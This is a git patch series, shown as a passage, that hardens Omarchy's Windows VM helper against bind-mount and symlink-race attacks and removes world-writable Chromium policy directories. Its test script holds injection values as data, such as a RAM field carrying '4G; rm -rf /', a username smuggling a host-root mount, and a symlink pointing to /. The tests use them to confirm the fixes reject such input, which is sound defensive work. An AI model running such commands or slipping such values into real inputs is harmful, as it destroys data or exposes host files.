unsafe runtime parent: $probe" >&2 + return 1 + } + [[ $probe == / ]] && break + probe=$(dirname -- "$probe") + done + if [[ -e $MOUNT_ROOT || -L $MOUNT_ROOT ]]; then + assert_boundary_dir "$MOUNT_ROOT" 0 || { + echo "omarchy-windows-vm: unsafe mount root: $MOUNT_ROOT" >&2 + return 1 + } + fi + fi + mkdir -p -- "$RUNTIME_DIR" "$MOUNT_ROOT" "$USERS_DIR" "$CALLER_DATA_ROOT" + chmod 0755 "$RUNTIME_DIR" "$MOUNT_ROOT" "$USERS_DIR" "$CALLER_DATA_ROOT" + if ((EUID == 0)); then + chown root:root "$RUNTIME_DIR" "$MOUNT_ROOT" "$USERS_DIR" "$CALLER_DATA_ROOT" + fi + assert_boundary_dir "$RUNTIME_DIR" "$owner" && + assert_boundary_dir "$MOUNT_ROOT" "$owner" && + assert_boundary_dir "$USERS_DIR" "$owner" && + assert_boundary_dir "$CALLER_DATA_ROOT" "$owner" || { + echo "omarchy-windows-vm: unsafe VM mount boundary" >&2 + return 1 + } +} + + # Move an existing home entry first, then inspect the pinned object below the +# root-owned parent. This closes the check/use gap where an attacker could swap +# a checked home directory for a symlink before Docker resolved it. +prepare_mount_leaf() { + local legacy="$1" stable="$2" rejected source_dev target_dev + + if [[ ! -e $stable && ! -L $stable ]]; then + if [[ -e $legacy || -L $legacy ]]; then + # rename(2) pins the exact directory entry the caller presented. GNU mv + # falls back to a privileged recursive copy across filesystems, which + # would reopen the source path and reintroduce the race, so fail closed in + # that uncommon layout instead of copying as root. + source_dev=$(stat -c '%d' -- "$legacy") || return 1 + target_dev=$(stat -Lc '%d' -- "$CALLER_DATA_ROOT") || return 1 + [[ $source_dev == "$target_dev" ]] || { + echo "omarchy-windows-vm: cannot safely migrate $legacy across filesystems" >&2 + echo "Move it onto the filesystem containing $MOUNT_ROOT, then retry." >&2 + return 1 + } + mv --no-copy -T -- "$legacy" "$stable" || return 1 + if [[ ! -d $stable || -L $stable ]]; then + rejected="$CALLER_DATA_ROOT/rejected-$(basename -- "$stable")-$$" + mv --no-copy -T -- "$stable" "$rejected" 2>/dev/null || true + echo "omarchy-windows-vm: refusing non-directory VM data entry at $legacy" >&2 + return 1 + fi + else + install -d -m 0700 "$stable" + fi + fi + + [[ -d $stable && ! -L $stable ]] && [[ $(realpath -e -- "$stable" 2>/dev/null) == "$stable" ]] || { + echo "omarchy-windows-vm: unsafe VM data directory: $stable" >&2 + return 1 + } + if ((EUID == 0)); then + chown "$CALLER_UID:$CALLER_GID" "$stable" + fi + + if [[ -L $legacy ]]; then + [[ $(realpath -e -- "$legacy" 2>/dev/null) == "$stable" ]] || { + echo "omarchy-windows-vm: $legacy does not point to its protected mount anchor" >&2 + return 1 + } + elif [[ -e $legacy ]]; then + echo "omarchy-windows-vm: refusing to replace existing data at $legacy" >&2 + return 1 + else + ln -s -- "$stable" "$legacy" || return 1 + if ((EUID == 0)); then + chown -h "$CALLER_UID:$CALLER_GID" "$legacy" + fi + fi +} + +prepare_caller_mounts() { + resolve_caller && prepare_runtime_tree && + prepare_mount_leaf "$LEGACY_STORAGE" "$EXPECTED_STORAGE" && + prepare_mount_leaf "$LEGACY_SHARED" "$EXPECTED_SHARED" +} + # Reads KEY=VALUE lines on stdin, re-validates every field, and writes the # compose atomically as root. Re-validation here is the security boundary: the # writer refuses rather than emit a compose an attacker could have influenced. # Only these fixed keys are honored; image, container name, devices, caps, and # port bindings are hard-coded and never taken from input. __priv_write_compose() { - local ram cores disk username password tz storage shared key value + local ram cores disk username password tz key value while IFS='=' read -r key value; do case "$key" in @@ -129,8 +318,6 @@ __priv_write_compose() { USERNAME) username="$value" ;; PASSWORD) password="$value" ;; TZ) tz="$value" ;; - STORAGE) storage="$value" ;; - SHARED) shared="$value" ;; esac done @@ -140,8 +327,7 @@ __priv_write_compose() { valid_username "$username" || { echo "invalid username: $username" >&2; exit 2; } valid_password "$password" || { echo "invalid password" >&2; exit 2; } valid_tz "$tz" || tz="UTC" - valid_path "$storage" || { echo "invalid storage path: $storage" >&2; exit 2; } - valid_path "$shared" || { echo "invalid shared path: $shared" >&2; exit 2; } + prepare_caller_mounts || exit 2 # Neutralize anything in the password that could be misread when the compose # is parsed. Two layers apply, in this order at parse time: docker compose @@ -154,10 +340,6 @@ __priv_write_compose() { esc_password=${esc_password//\"/\\\"} esc_password=${esc_password//\$/\$\$} - mkdir -p "$RUNTIME_DIR" - chmod 0755 "$RUNTIME_DIR" 2>/dev/null || true - chown root:root "$RUNTIME_DIR" 2>/dev/null || true - local tmp tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") cat >"$tmp" <"$tmp" || { rm -f "$tmp"; return 1; } + chmod 0640 "$tmp" + if ((EUID == 0)); then + chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" + fi + mv -f -- "$tmp" "$COMPOSE_FILE" +} + +assert_compose_trusted() { + local owner expected mode + [[ -f $COMPOSE_FILE && ! -L $COMPOSE_FILE ]] || return 1 + owner=$(stat -Lc '%u' "$COMPOSE_FILE") || return 1 + mode=$(stat -Lc '%a' "$COMPOSE_FILE") || return 1 + expected=$(boundary_owner) + [[ $owner == "$expected" ]] && ! ((8#$mode & 022)) +} + assert_mounts_safe() { - local mnt src real - for mnt in /storage /shared; do - src=$(get_mount_source "$mnt") - [[ -n $src ]] || { - echo "omarchy-windows-vm: missing $mnt mount source in the compose" >&2 + local storage shared owner + resolve_caller || return 1 + assert_compose_trusted || { + echo "omarchy-windows-vm: refusing an untrusted compose file" >&2 + return 1 + } + storage=$(get_mount_source /storage) + shared=$(get_mount_source /shared) + + if [[ $storage == "$LEGACY_STORAGE" && $shared == "$LEGACY_SHARED" ]]; then + ((EUID == 0)) || { + echo "omarchy-windows-vm: legacy VM data needs an authorized migration" >&2 return 1 } - if [[ -L $src ]]; then - echo "omarchy-windows-vm: refusing to start — $src is a symlink; the VM mount source must be a real directory" >&2 - return 1 - fi - if [[ -e $src ]]; then - [[ -d $src ]] || { - echo "omarchy-windows-vm: refusing to start — $src is not a directory" >&2 - return 1 - } - real=$(realpath "$src" 2>/dev/null) - [[ $real == "$src" ]] || { - echo "omarchy-windows-vm: refusing to start — $src resolves through a symlink to $real" >&2 - return 1 - } - fi - done + prepare_caller_mounts || return 1 + rewrite_compose_mounts || return 1 + storage=$EXPECTED_STORAGE + shared=$EXPECTED_SHARED + fi + + [[ $storage == "$EXPECTED_STORAGE" && $shared == "$EXPECTED_SHARED" ]] || { + echo "omarchy-windows-vm: refusing unexpected host paths in the compose" >&2 + return 1 + } + owner=$(boundary_owner) + assert_boundary_dir "$RUNTIME_DIR" "$owner" && + assert_boundary_dir "$MOUNT_ROOT" "$owner" && + assert_boundary_dir "$USERS_DIR" "$owner" && + assert_boundary_dir "$CALLER_DATA_ROOT" "$owner" && + [[ -d $EXPECTED_STORAGE && ! -L $EXPECTED_STORAGE ]] && + [[ -d $EXPECTED_SHARED && ! -L $EXPECTED_SHARED ]] && + [[ $(realpath -e -- "$EXPECTED_STORAGE" 2>/dev/null) == "$EXPECTED_STORAGE" ]] && + [[ $(realpath -e -- "$EXPECTED_SHARED" 2>/dev/null) == "$EXPECTED_SHARED" ]] || { + echo "omarchy-windows-vm: refusing an unsafe VM mount anchor" >&2 + return 1 + } } __priv_up() { assert_mounts_safe && dc up -d; } @@ -273,19 +495,24 @@ __priv_up_wait() { __priv_status() { docker inspect --format='{{.State.Status}}' "$CONTAINER" 2>/dev/null || true; } __priv_remove() { + resolve_caller || return 1 dc down 2>/dev/null || true docker rmi "$IMAGE" 2>/dev/null || true rm -f "$COMPOSE_FILE" - rmdir "$RUNTIME_DIR" 2>/dev/null || true + # Shared files intentionally survive removal. The storage leaf cannot be + # swapped by the user because its parent is the protected boundary. + if [[ $EXPECTED_STORAGE == "$USERS_DIR/$CALLER_UID/storage" && -d $EXPECTED_STORAGE && ! -L $EXPECTED_STORAGE ]]; then + rm -rf --one-file-system -- "$EXPECTED_STORAGE" + fi } # --- config helpers ---------------------------------------------------------- # Feed the collected settings to the elevated writer. write_compose() { - local ram="$1" cores="$2" disk="$3" username="$4" password="$5" tz="$6" storage="$7" shared="$8" - printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\nSTORAGE=%s\nSHARED=%s\n' \ - "$ram" "$cores" "$disk" "$username" "$password" "$tz" "$storage" "$shared" | + local ram="$1" cores="$2" disk="$3" username="$4" password="$5" tz="$6" + printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\n' \ + "$ram" "$cores" "$disk" "$username" "$password" "$tz" | priv write_compose } @@ -340,22 +567,17 @@ migrate_legacy_compose() { [[ -f $LEGACY_COMPOSE_FILE ]] || return 1 echo "Migrating Windows VM configuration to $COMPOSE_FILE ..." - local ram cores disk username password tz storage shared + local ram cores disk username password tz ram=$(read_compose_value RAM_SIZE "$LEGACY_COMPOSE_FILE") cores=$(read_compose_value CPU_CORES "$LEGACY_COMPOSE_FILE") disk=$(read_compose_value DISK_SIZE "$LEGACY_COMPOSE_FILE") username=$(read_compose_value USERNAME "$LEGACY_COMPOSE_FILE") password=$(read_compose_value PASSWORD "$LEGACY_COMPOSE_FILE") tz=$(read_compose_value TZ "$LEGACY_COMPOSE_FILE") - # The VM's data always lived in the user's own ~/.windows and ~/Windows; the - # old compose only ever recorded those. Reconstruct them from $HOME (trusted — - # this runs as the user) rather than reading host paths back from a file a - # rogue process could have rewritten to bind-mount, say, / into the guest. - storage="$HOME/.windows" - shared="$HOME/Windows" - [[ -z $tz ]] && tz="UTC" - if ! write_compose "$ram" "$cores" "$disk" "$username" "$password" "$tz" "$storage" "$shared"; then + # The elevated writer derives both mount anchors from the authenticated uid; + # it never consumes volume paths from this user-owned legacy file. + if ! write_compose "$ram" "$cores" "$disk" "$username" "$password" "$tz"; then echo "Could not migrate the existing configuration automatically." >&2 echo "Re-run: omarchy-windows-vm install" >&2 return 1 @@ -404,7 +626,6 @@ install_windows() { omarchy-pkg-add freerdp openbsd-netcat gum - mkdir -p "$HOME/.windows" mkdir -p "$HOME/.local/share/applications" cat </dev/null @@ -540,15 +761,14 @@ EOF exit 1 fi - mkdir -p "$HOME/Windows" - local tz tz=$(timedatectl show -p Timezone --value 2>/dev/null || echo UTC) # Write the root-owned compose from the validated settings (one prompt if - # sudoless Docker is off), then bring the stack up. + # sudoless Docker is off). The writer creates protected storage/shared mount + # anchors and leaves the familiar home entries as symlinks to them. write_compose "$SELECTED_RAM" "$SELECTED_CORES" "$SELECTED_DISK" \ - "$USERNAME" "$PASSWORD" "$tz" "$HOME/.windows" "$HOME/Windows" || { + "$USERNAME" "$PASSWORD" "$tz" || { echo "❌ Failed to write the Windows VM configuration." exit 1 } diff --git a/manual/28-windows-vm.md b/manual/28-windows-vm.md index 9da7786f..e12a74d8 100644 --- a/manual/28-windows-vm.md +++ b/manual/28-windows-vm.md @@ -26,7 +26,9 @@ omarchy windows vm launch # start and connect ## Sharing files -The directory `~/Windows` in your home directory is automatically shared with the VM. Put files there if you want them accessible to Windows. The VM has no access to any other part of your file system, so you're safe from anything nasty on the Windows side. Its own virtual disk lives in `~/.windows`. +The directory `~/Windows` in your home directory is automatically shared with the VM. Put files there if you want them accessible to Windows. The VM has no access to any other part of your file system, so you're safe from anything nasty on the Windows side. Its own virtual disk is available at `~/.windows`. + +Those familiar home paths are links to per-user mount anchors in a root-owned `.omarchy-windows` directory beside your home directory. Keeping the anchors on the home filesystem preserves the expected disk location, while their protected parent prevents another process running as you from swapping a checked directory for a symlink while the privileged VM is starting. The VM's ports are bound to localhost only, so nothing on your network can reach the Windows machine. diff --git a/test/shell.d/windows-vm-compose-test.sh b/test/shell.d/windows-vm-compose-test.sh index 0aa353f2..953f3403 100644 --- a/test/shell.d/windows-vm-compose-test.sh +++ b/test/shell.d/windows-vm-compose-test.sh @@ -13,39 +13,47 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" TMPDIR=$(mktemp -d) trap 'rm -rf "$TMPDIR"' EXIT export OMARCHY_WINDOWS_DIR="$TMPDIR/win" +export HOME="$TMPDIR/home" +mkdir -p "$HOME" # Source the command's functions; the dispatcher just prints usage for "help". set -- help source "$ROOT/bin/omarchy-windows-vm" >/dev/null 2>&1 COMPOSE="$OMARCHY_WINDOWS_DIR/docker-compose.yml" -write() { # RAM CORES DISK USER PASS TZ STORAGE SHARED - printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\nSTORAGE=%s\nSHARED=%s\n' \ +write() { # RAM CORES DISK USER PASS TZ + printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\n' \ "$@" | __priv_write_compose } # --- valid compose, with the dangerous bits pinned and unreachable by input --- rm -f "$COMPOSE" -write 4G 2 64G alice 's3cret' Europe/Copenhagen /home/alice/.windows /home/alice/Windows +write 4G 2 64G alice 's3cret' Europe/Copenhagen +resolve_caller [[ -f $COMPOSE ]] || fail "writer produced a compose file" grep -q 'image: dockurr/windows' "$COMPOSE" || fail "image is pinned" grep -q -- '- NET_ADMIN' "$COMPOSE" || fail "cap_add is pinned" -grep -q -- '- /home/alice/.windows:/storage' "$COMPOSE" || fail "storage volume uses the given path" +grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "storage uses the per-uid protected anchor" +grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE" || fail "shared files use the per-uid protected anchor" +[[ -L $HOME/.windows && $(realpath "$HOME/.windows") == "$EXPECTED_STORAGE" ]] || fail "home storage link targets the protected anchor" +[[ -L $HOME/Windows && $(realpath "$HOME/Windows") == "$EXPECTED_SHARED" ]] || fail "home shared link targets the protected anchor" grep -q -- '- /:/' "$COMPOSE" && fail "compose must never contain a host-root bind mount" -pass "writer emits a pinned compose with no host-root mount" +pass "writer derives protected per-uid anchors and emits no host-root mount" # --- injection attempts are rejected, no file written --- rm -f "$COMPOSE" -write 4G 2 64G 'x -v /:/h' p UTC /a /b 2>/dev/null && fail "malicious username was accepted" +write 4G 2 64G 'x -v /:/h' p UTC 2>/dev/null && fail "malicious username was accepted" [[ ! -f $COMPOSE ]] || fail "no compose written for a bad username" -write 4G 2 64G ok p UTC '/a -v /etc:/etc' /b 2>/dev/null && fail "malicious storage path was accepted" -write '4G; rm -rf /' 2 64G ok p UTC /a /b 2>/dev/null && fail "malicious RAM was accepted" -pass "injection attempts in username, path, and RAM are rejected" +printf 'RAM=4G\nCORES=2\nDISK=64G\nUSERNAME=ok\nPASSWORD=p\nTZ=UTC\nSTORAGE=/\nSHARED=/etc\n' | __priv_write_compose +grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "caller-supplied storage path affected the compose" +grep -q -- '- /:/storage' "$COMPOSE" && fail "host root was accepted as storage" +write '4G; rm -rf /' 2 64G ok p UTC 2>/dev/null && fail "malicious RAM was accepted" +pass "injection attempts are rejected and caller-supplied paths are ignored" # --- password survives YAML (" \) and compose interpolation ($) --- rm -f "$COMPOSE" tricky='p@$$w:rd$HOME"x\y' -write 8G 4 64G bob "$tricky" UTC /h/.windows /h/Windows +write 8G 4 64G bob "$tricky" UTC grep -q 'PASSWORD: ".*\$\$.*"' "$COMPOSE" || fail "\$ is escaped as \$\$ for compose interpolation" recovered=$(unescape "$(read_compose_value PASSWORD "$COMPOSE")") [[ $recovered == "$tricky" ]] || fail "password round-trips through write/unescape" @@ -65,8 +73,10 @@ pass "privileged action whitelist accepts known actions and rejects the rest" # mount host / into the guest, so migration must ignore its volume paths and # reconstruct them from the current user's $HOME. rm -rf "$OMARCHY_WINDOWS_DIR" -export HOME="$TMPDIR/home" -mkdir -p "$HOME/.config/windows" +rm -rf "$MOUNT_ROOT" +rm -f "$HOME/.windows" "$HOME/Windows" +mkdir -p "$HOME/.config/windows" "$HOME/.windows" "$HOME/Windows" +touch "$HOME/.windows/existing-disk" "$HOME/Windows/existing-shared-file" LEGACY_COMPOSE_FILE="$HOME/.config/windows/docker-compose.yml" COMPOSE_FILE="$COMPOSE" cat >"$LEGACY_COMPOSE_FILE" <<'LEG' @@ -88,32 +98,40 @@ priv() { local a=$1; shift; "__priv_$a" "$@"; } migrate_legacy_compose [[ -f $COMPOSE_FILE ]] || fail "migration wrote the root-owned compose" grep -q 'USERNAME: "legacyuser"' "$COMPOSE_FILE" || fail "migration preserves settings" -grep -q -- "- $HOME/.windows:/storage" "$COMPOSE_FILE" || fail "migration uses the user's home for the data volume" +resolve_caller +grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE_FILE" || fail "migration uses the protected storage anchor" +grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE_FILE" || fail "migration uses the protected shared anchor" +[[ -f $EXPECTED_STORAGE/existing-disk ]] || fail "migration preserves the existing disk data" +[[ -f $EXPECTED_SHARED/existing-shared-file ]] || fail "migration preserves existing shared files" +[[ -L $HOME/.windows && -L $HOME/Windows ]] || fail "migration replaces home entries with compatibility links" grep -q -- '- /:/' "$COMPOSE_FILE" && fail "migration must not carry a host-root bind mount from a tampered legacy file" grep -q -- '- /etc:/shared' "$COMPOSE_FILE" && fail "migration must not carry a tampered legacy volume path" [[ ! -f $LEGACY_COMPOSE_FILE ]] || fail "migration removes the legacy compose" -pass "migration reconstructs data paths from \$HOME and ignores tampered legacy volumes" +pass "legacy migration pins existing data and ignores tampered legacy volumes" -# --- bring-up refuses a symlinked mount source (a symlink redirects the -# privileged bind mount the same way traversal would; the string check on -# the stored path cannot see it) --- -rm -f "$COMPOSE" -mkdir -p "$TMPDIR/realstore" "$TMPDIR/realshare" -write 4G 2 64G dave pw UTC "$TMPDIR/realstore" "$TMPDIR/realshare" +# --- bring-up accepts only the derived pair in a trusted compose --- assert_mounts_safe || fail "real directory mount sources are accepted" -ln -sfn / "$TMPDIR/evilshare" -write 4G 2 64G dave pw UTC "$TMPDIR/realstore" "$TMPDIR/evilshare" -assert_mounts_safe && fail "a symlinked mount source must be refused" -pass "bring-up refuses a symlinked mount source" +sed -i "s|$EXPECTED_SHARED:/shared|/etc:/shared|" "$COMPOSE" +assert_mounts_safe 2>/dev/null && fail "a tampered host path must be refused" +sed -i "s|/etc:/shared|$EXPECTED_SHARED:/shared|" "$COMPOSE" +chmod 0666 "$COMPOSE" +assert_mounts_safe 2>/dev/null && fail "a user-writable compose must be refused" +chmod 0640 "$COMPOSE" +pass "bring-up rejects unexpected mounts and a writable compose" -# --- valid_path rejects traversal and non-normalized paths --- -for p in /home/u/.windows /var/lib/omarchy/windows; do - valid_path "$p" || fail "valid_path rejected a normal path: $p" -done -for p in / /./ // /tmp/../etc /home/u/. '/home/u/../root' '/a//b'; do - valid_path "$p" && fail "valid_path accepted a traversal/non-normalized path: $p" -done -pass "valid_path accepts normalized paths and rejects traversal" +# --- a symlink supplied as legacy data is renamed below the protected parent +# before inspection, then quarantined rather than followed --- +rm -rf "$OMARCHY_WINDOWS_DIR" +rm -rf "$MOUNT_ROOT" +rm -f "$HOME/.windows" "$HOME/Windows" +ln -s / "$HOME/.windows" +mkdir -p "$HOME/Windows" +rm -f "$COMPOSE" +write 4G 2 64G dave pw UTC 2>/dev/null && fail "a symlinked legacy data entry was accepted" +[[ ! -f $COMPOSE ]] || fail "no compose is written for a symlinked legacy entry" +[[ ! -L $MOUNT_ROOT/users/$(id -u)/storage ]] || fail "the mount anchor must not remain a symlink" +find "$MOUNT_ROOT/users/$(id -u)" -maxdepth 1 -type l -name 'rejected-storage-*' | grep -q . || fail "the rejected symlink was not quarantined" +pass "migration pins and rejects a symlinked legacy data entry" # --- credentials are stored privately and round-trip (incl. = in password) --- export CREDENTIALS_FILE="$TMPDIR/creds" From 95b791af16dc7cdb1a5291c94c7301f3972c0926 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Mon, 24 Aug 2026 01:20:40 -0600 Subject: [PATCH 059/336] Stop world-writable browser policy directories Chromium managed policy is mandatory for every profile. World-writable dirs let any local uid plant policy, including force-installed extensions. Write goes through the omarchy-browser-policy group at 2775 so theme colour still works without other-write. --- bin/omarchy-install-browser | 30 ++- bin/omarchy-provision-owner | 9 + bin/omarchy-theme-set-browser | 18 +- bin/omarchy-upgrade-to-quattro | 22 +- install/config/all.sh | 1 + install/config/browser-policy.sh | 3 + install/config/theme-system.sh | 4 - install/helpers/as-root.sh | 7 + install/helpers/browser-policy.sh | 171 ++++++++++++++++ migrations/1787515927.sh | 24 +++ test/shell.d/browser-policy-dir-test.sh | 244 +++++++++++++++++++++++ test/shell.d/default-apps-test.sh | 47 ++++- test/shell.d/provisioning-groups-test.sh | 37 +++- test/shell.d/upgrade-to-quattro-test.sh | 17 ++ 14 files changed, 596 insertions(+), 38 deletions(-) create mode 100644 install/config/browser-policy.sh create mode 100644 install/helpers/as-root.sh create mode 100644 install/helpers/browser-policy.sh create mode 100644 migrations/1787515927.sh create mode 100755 test/shell.d/browser-policy-dir-test.sh diff --git a/bin/omarchy-install-browser b/bin/omarchy-install-browser index f71c7c98..d808c805 100755 --- a/bin/omarchy-install-browser +++ b/bin/omarchy-install-browser @@ -6,9 +6,12 @@ set -e -setup_policy_directory() { - sudo mkdir -p "$1" - sudo chmod a+rw "$1" +source "$OMARCHY_PATH/install/helpers/browser-policy.sh" + +setup_chromium_policy_directory() { + browser_policy_setup_group + browser_policy_grant_user "${USER:-$(id -un)}" + browser_policy_setup_dir "$1" } announce_browser_installed() { @@ -23,13 +26,6 @@ copy_chromium_flags() { omarchy-install-chromium-ytdlp } -setup_firefox_preferences() { - local distribution_dir="$1" - - setup_policy_directory "$distribution_dir" - sudo cp -f "$OMARCHY_PATH/default/firefox/policies.json" "$distribution_dir/policies.json" -} - setup_firefox_wayland() { mkdir -p ~/.config/environment.d echo "MOZ_ENABLE_WAYLAND=1" > ~/.config/environment.d/omarchy-firefox-wayland.conf @@ -40,7 +36,7 @@ chromium) echo "Installing Chromium..." omarchy-pkg-add chromium - setup_policy_directory /etc/chromium/policies/managed + setup_chromium_policy_directory /etc/chromium/policies/managed copy_chromium_flags ~/.config/chromium-flags.conf omarchy-theme-set-browser announce_browser_installed "Chromium" @@ -49,7 +45,7 @@ chrome) echo "Installing Chrome..." omarchy-pkg-aur-add google-chrome || exit 1 - setup_policy_directory /etc/opt/chrome/policies/managed + setup_chromium_policy_directory /etc/opt/chrome/policies/managed copy_chromium_flags ~/.config/chrome-flags.conf omarchy-theme-set-browser announce_browser_installed "Chrome" @@ -58,7 +54,7 @@ edge) echo "Installing Edge..." omarchy-pkg-aur-add microsoft-edge-stable-bin || exit 1 - setup_policy_directory /etc/opt/edge/policies/managed + setup_chromium_policy_directory /etc/opt/edge/policies/managed copy_chromium_flags ~/.config/microsoft-edge-stable-flags.conf omarchy-theme-set-browser announce_browser_installed "Edge" @@ -67,7 +63,7 @@ brave) echo "Installing Brave..." omarchy-pkg-aur-add brave-bin || exit 1 - setup_policy_directory /etc/brave/policies/managed + setup_chromium_policy_directory /etc/brave/policies/managed copy_chromium_flags ~/.config/brave-flags.conf omarchy-theme-set-browser announce_browser_installed "Brave" @@ -76,7 +72,7 @@ brave-origin) echo "Installing Brave Origin..." omarchy-pkg-aur-add brave-origin-bin || exit 1 - setup_policy_directory /etc/brave/policies/managed + setup_chromium_policy_directory /etc/brave/policies/managed copy_chromium_flags ~/.config/brave-origin-flags.conf omarchy-theme-set-browser announce_browser_installed "Brave Origin" @@ -85,7 +81,7 @@ firefox) echo "Installing Firefox..." omarchy-pkg-add firefox || exit 1 - setup_firefox_preferences /usr/lib/firefox/distribution + browser_policy_setup_firefox_distribution /usr/lib/firefox/distribution setup_firefox_wayland announce_browser_installed "Firefox" ;; @@ -93,7 +89,7 @@ zen) echo "Installing Zen..." omarchy-pkg-aur-add zen-browser-bin || exit 1 - setup_firefox_preferences /opt/zen-browser/distribution + browser_policy_setup_firefox_distribution /opt/zen-browser/distribution setup_firefox_wayland announce_browser_installed "Zen" ;; diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index c27de22c..7c208eb9 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -742,6 +742,15 @@ create_user() { # for specific commands), and a duplicate grant is harmless. echo "%wheel ALL=(ALL:ALL) ALL" >/etc/sudoers.d/00-omarchy-wheel chmod 440 /etc/sudoers.d/00-omarchy-wheel + + source "$OMARCHY_PATH/install/helpers/browser-policy.sh" + OMARCHY_INSTALL_USER=$username + OMARCHY_PROVISIONING_DIR=$PROVISIONING_DIR + browser_policy_setup_group + for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do + [[ -d $dir ]] || continue + browser_policy_setup_dir "$dir" + done } install_authorized_keys() { diff --git a/bin/omarchy-theme-set-browser b/bin/omarchy-theme-set-browser index 4dd7592f..a22cb0d6 100755 --- a/bin/omarchy-theme-set-browser +++ b/bin/omarchy-theme-set-browser @@ -13,11 +13,10 @@ else THEME_HEX_COLOR="#1c2027" fi -set_browser_policy() { - local policy_dir="$1" +source "$OMARCHY_PATH/install/helpers/browser-policy.sh" - [[ -d $policy_dir ]] || return - echo "{\"BrowserThemeColor\": \"$THEME_HEX_COLOR\", \"BrowserColorScheme\": \"device\"}" | tee "$policy_dir/color.json" >/dev/null +set_browser_policy() { + browser_policy_write_color "$1" "$THEME_HEX_COLOR" } refresh_running_browser() { @@ -30,17 +29,20 @@ refresh_running_browser() { fi } -set_browser_policy /etc/chromium/policies/managed +failed=0 +set_browser_policy /etc/chromium/policies/managed || failed=1 refresh_running_browser chromium chromium -set_browser_policy /etc/opt/chrome/policies/managed +set_browser_policy /etc/opt/chrome/policies/managed || failed=1 refresh_running_browser chrome google-chrome-stable || refresh_running_browser chrome google-chrome -set_browser_policy /etc/opt/edge/policies/managed +set_browser_policy /etc/opt/edge/policies/managed || failed=1 refresh_running_browser msedge microsoft-edge-stable -set_browser_policy /etc/brave/policies/managed +set_browser_policy /etc/brave/policies/managed || failed=1 refresh_running_browser brave brave # Match on the binary path: the running process is named plain "brave", and a # bare -f brave-origin pattern would also match the installer's own terminal. refresh_running_browser /opt/brave-origin-bin/ brave-origin -f + +exit "$failed" diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index e28da697..62ef21b9 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1312,7 +1312,22 @@ apply_system_transition() { /usr/share/icons/Yaru/scalable/actions/go-next-symbolic.svg as_root gtk-update-icon-cache /usr/share/icons/Yaru >/dev/null 2>&1 || true - as_root install -d -m 0777 /etc/chromium/policies/managed + local browser_policy_helper=/usr/share/omarchy/install/helpers/browser-policy.sh + if ! as_root test -f "$browser_policy_helper"; then + warn "$browser_policy_helper is unavailable; Chromium policy directories were not hardened." + else + as_root env OMARCHY_PATH=/usr/share/omarchy OMARCHY_INSTALL_USER="$target_user" \ + bash -euo pipefail -c ' + source "$OMARCHY_PATH/install/helpers/browser-policy.sh" + browser_policy_setup_group + browser_policy_setup_dir /etc/chromium/policies/managed + for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do + [[ $dir == "/etc/chromium/policies/managed" ]] && continue + [[ -d $dir ]] || continue + browser_policy_setup_dir "$dir" + done + ' + fi as_root install -d -m 0755 /usr/lib/chromium printf '%s\n' '{"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' | \ as_root tee /usr/lib/chromium/initial_preferences >/dev/null @@ -2306,6 +2321,11 @@ refresh_current_theme_after_upgrade() { # hooks because one of them runs `hyprctl reload`. Still poke terminal # emulators so the active upgrade terminal picks up generated theme files. run_as_user_omarchy omarchy-restart-terminal >/dev/null 2>&1 || true + + # apply_system_transition purged user-owned color.json. Headless theme-set + # skipped omarchy-theme-set-browser, so rewrite the colour here. + run_as_user_omarchy omarchy-theme-set-browser >/dev/null 2>&1 || + warn "Could not apply browser theme colour. Run 'omarchy theme set \"$theme_name\"' after reboot if Chromium's theme looks stale." } # Everything below mutates the system, so a non-zero exit from here on leaves a diff --git a/install/config/all.sh b/install/config/all.sh index 91256dc7..d8c7d9bb 100644 --- a/install/config/all.sh +++ b/install/config/all.sh @@ -1,4 +1,5 @@ run_logged "$OMARCHY_INSTALL/config/theme-system.sh" +run_logged "$OMARCHY_INSTALL/config/browser-policy.sh" run_logged "$OMARCHY_INSTALL/config/increase-lockout-limit.sh" run_logged "$OMARCHY_INSTALL/config/lockscreen-pam.sh" run_logged "$OMARCHY_INSTALL/config/fix-powerprofilesctl-shebang.sh" diff --git a/install/config/browser-policy.sh b/install/config/browser-policy.sh new file mode 100644 index 00000000..a02de2f3 --- /dev/null +++ b/install/config/browser-policy.sh @@ -0,0 +1,3 @@ +source "$OMARCHY_PATH/install/helpers/browser-policy.sh" +browser_policy_setup_group +browser_policy_setup_dir /etc/chromium/policies/managed diff --git a/install/config/theme-system.sh b/install/config/theme-system.sh index 2902e1cd..83db0e15 100644 --- a/install/config/theme-system.sh +++ b/install/config/theme-system.sh @@ -6,10 +6,6 @@ ln -snf /usr/share/icons/Adwaita/symbolic/actions/go-next-symbolic.svg \ /usr/share/icons/Yaru/scalable/actions/go-next-symbolic.svg gtk-update-icon-cache /usr/share/icons/Yaru &>/dev/null || true -# Chromium policy directory for theme -mkdir -p /etc/chromium/policies/managed -chmod a+rw /etc/chromium/policies/managed - # Default Chromium to follow system appearance ("device") instead of dark mkdir -p /usr/lib/chromium echo '{"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' > \ diff --git a/install/helpers/as-root.sh b/install/helpers/as-root.sh new file mode 100644 index 